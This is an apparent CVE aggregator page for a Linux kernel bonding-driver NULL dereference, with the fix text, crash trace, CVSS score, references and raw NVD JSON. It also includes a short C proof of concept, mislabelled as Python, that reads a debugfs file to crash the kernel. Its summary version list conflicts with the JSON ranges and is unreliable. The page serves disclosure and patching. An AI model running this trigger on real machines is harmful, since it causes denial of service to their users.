CVE-2026-31546

Description

In the Linux kernel, the following vulnerability has been resolved: net: bonding: fix NULL deref in bond_debug_rlb_hash_show rlb_clear_slave intentionally keeps RLB hash-table entries on the rx_hashtbl_used_head list with slave set to NULL when no replacement slave is available. However, bond_debug_rlb_hash_show visites client_info->slave without checking if it's NULL. Other used-list iterators in bond_alb.c already handle this NULL-slave state safely: - rlb_update_client returns early on !client_info->slave - rlb_req_update_slave_clients, rlb_clear_slave, and rlb_rebalance compare slave values before visiting - lb_req_update_subnet_clients continues if slave is NULL The following NULL deref crash can be trigger in bond_debug_rlb_hash_show: [ 1.289791] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 1.292058] RIP: 0010:bond_debug_rlb_hash_show (drivers/net/bonding/bond_debugfs.c:41) [ 1.293101] RSP: 0018:ffffc900004a7d00 EFLAGS: 00010286 [ 1.293333] RAX: 0000000000000000 RBX: ffff888102b48200 RCX: ffff888102b48204 [ 1.293631] RDX: ffff888102b48200 RSI: ffffffff839daad5 RDI: ffff888102815078 [ 1.293924] RBP: ffff888102815078 R08: ffff888102b4820e R09: 0000000000000000 [ 1.294267] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888100f929c0 [ 1.294564] R13: ffff888100f92a00 R14: 0000000000000001 R15: ffffc900004a7ed8 [ 1.294864] FS: 0000000001395380(0000) GS:ffff888196e75000(0000) knlGS:0000000000000000 [ 1.295239] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1.295480] CR2: 0000000000000000 CR3: 0000000102adc004 CR4: 0000000000772ef0 [ 1.295897] Call Trace: [ 1.296134] seq_read_iter (fs/seq_file.c:231) [ 1.296341] seq_read (fs/seq_file.c:164) [ 1.296493] full_proxy_read (fs/debugfs/file.c:378 (discriminator 1)) [ 1.296658] vfs_read (fs/read_write.c:572) [ 1.296981] ksys_read (fs/read_write.c:717) [ 1.297132] do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) [ 1.297325] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) Add a NULL check and print "(none)" for entries with no assigned slave.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.6 (commit 017d674c)

Linux Kernel < 6.10 (commit 605b5249)

Linux Kernel < 6.1 (commit 0a3f8cd3)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>

/*
 * PoC for CVE-2026-31546
 * Trigger: Read the rlb_hash debugfs entry for a bonding interface.
 * Requires: Bonding interface configured and debugfs mounted.
 */
int main() {
    FILE *fp;
    // Adjust interface name (e.g., bond0) as needed
    const char *path = "/sys/kernel/debug/bonding/bond0/rlb_hash";
    char buf[256];

    fp = fopen(path, "r");
    if (!fp) {
        perror("open debugfs");
        return 1;
    }

    // Reading triggers the vulnerable show function
    while (fgets(buf, sizeof(buf), fp)) {
        printf("%s", buf);
    }

    fclose(fp);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31546
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31546
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31546/
[4] VulDB https://vuldb.com/cve/CVE-2026-31546
[5] https://git.kernel.org/stable/c/017d674cf6930e9586a29ee808c7ca09d1396d07
[6] https://git.kernel.org/stable/c/0a3f8cd3f370247ded14d38d216b49dd30eade76
[7] https://git.kernel.org/stable/c/19f0fd87df0e5746b24f5caa465a66a8c6e6e241
[8] https://git.kernel.org/stable/c/2ec2c777f357a83c3d503d8d9370c90b60f0ae63
[9] https://git.kernel.org/stable/c/605b52497bf89b3b154674deb135da98f916e390
[10] https://git.kernel.org/stable/c/6a3bb74e25d79cbb15f67ef80f71e2b2bfe27ff4
[11] https://git.kernel.org/stable/c/ec9762f0df2f9fbe3f40a3bfa8aab8b2f721466c
[12] https://git.kernel.org/stable/c/edacf1613f7b26423ebfa8b2892e7453c4235354

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31546", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:28.690", "lastModified": "2026-04-28T20:48:20.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bonding: fix NULL deref in bond_debug_rlb_hash_show\n\nrlb_clear_slave intentionally keeps RLB hash-table entries on\nthe rx_hashtbl_used_head list with slave set to NULL when no\nreplacement slave is available. However, bond_debug_rlb_hash_show\nvisites client_info->slave without checking if it's NULL.\n\nOther used-list iterators in bond_alb.c already handle this NULL-slave\nstate safely:\n\n- rlb_update_client returns early on !client_info->slave\n- rlb_req_update_slave_clients, rlb_clear_slave, and rlb_rebalance\ncompare slave values before visiting\n- lb_req_update_subnet_clients continues if slave is NULL\n\nThe following NULL deref crash can be trigger in\nbond_debug_rlb_hash_show:\n\n[ 1.289791] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[ 1.292058] RIP: 0010:bond_debug_rlb_hash_show (drivers/net/bonding/bond_debugfs.c:41)\n[ 1.293101] RSP: 0018:ffffc900004a7d00 EFLAGS: 00010286\n[ 1.293333] RAX: 0000000000000000 RBX: ffff888102b48200 RCX: ffff888102b48204\n[ 1.293631] RDX: ffff888102b48200 RSI: ffffffff839daad5 RDI: ffff888102815078\n[ 1.293924] RBP: ffff888102815078 R08: ffff888102b4820e R09: 0000000000000000\n[ 1.294267] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888100f929c0\n[ 1.294564] R13: ffff888100f92a00 R14: 0000000000000001 R15: ffffc900004a7ed8\n[ 1.294864] FS: 0000000001395380(0000) GS:ffff888196e75000(0000) knlGS:0000000000000000\n[ 1.295239] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 1.295480] CR2: 0000000000000000 CR3: 0000000102adc004 CR4: 0000000000772ef0\n[ 1.295897] Call Trace:\n[ 1.296134] seq_read_iter (fs/seq_file.c:231)\n[ 1.296341] seq_read (fs/seq_file.c:164)\n[ 1.296493] full_proxy_read (fs/debugfs/file.c:378 (discriminator 1))\n[ 1.296658] vfs_read (fs/read_write.c:572)\n[ 1.296981] ksys_read (fs/read_write.c:717)\n[ 1.297132] do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))\n[ 1.297325] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nAdd a NULL check and print \"(none)\" for entries with no assigned slave."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.38.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "04177CA2-7B3E-475B-ABB0-BBE8D2851FED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.38:-:*:*:*:*:*:*", "matchCriteriaId": "985DC743-744A-429F-8098-EFCC91DFB6F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kerne ... (truncated)